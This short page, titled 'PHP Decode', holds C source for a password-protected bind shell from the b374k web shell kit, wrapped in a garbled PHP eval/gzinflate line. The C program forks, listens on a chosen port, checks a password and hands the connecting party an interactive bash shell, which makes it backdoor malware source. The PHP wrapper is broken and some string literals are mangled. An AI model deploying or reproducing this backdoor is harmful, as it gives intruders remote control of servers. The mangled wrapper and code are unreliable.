PHP Decode

<?  eval(gzinflate(base64_encode("#include <stdio.h> 
#include <string.h> 
#include <sys/types.h> 
#include <sys/socket.h> 
#include <netinet/in.h> 
#include <errno.h> 
int main(argc,argv) 
int argc; 
char **argv; 
{   
 int sockfd, newfd; 
 char buf[30]; 
 struct sockaddr_in remote; 
 if(fork() == 0) {  
 remote.sin_family = AF_INET; 
 remote.sin_port = htons(atoi(argv[1])); 
 remote.sin_addr.s_addr = htonl(INADDR_ANY);  
 sockfd = socket(AF_INET,SOCK_STREAM,0); 
 if(!sockfd) perror("socket error"); 
 bind(sockfd, (struct sockaddr *)&remote, 0x10); 
 listen(sockfd, 5); 
 while(1) 
  { 
   newfd=accept(sockfd,0,0); 
   dup2(newfd,0); 
   dup2(newfd,1); 
   dup2(newfd,2); 
   write(newfd,"Password:",10); 
   read(newfd,buf,sizeof(buf)); 
   if (!chpass(argv[2],buf)) 
   system("echo welcome to b374k shell && /bin/bash -i"); 
   else 
   fprintf(stderr,"Sorry"); 
   close(newfd); 
  } 
 } 
} 
int chpass(char *base, char *entered) { 
int i; 
for(i=0;i<strlen(entered);i++)  
{ 
if(entered[i] == ' 
') 
entered[i] = '';  
if(entered[i] == ' 
') 
entered[i] = ''; 
} 
if (!strcmp(base,entered)) 
return 0; 
}"))); ?>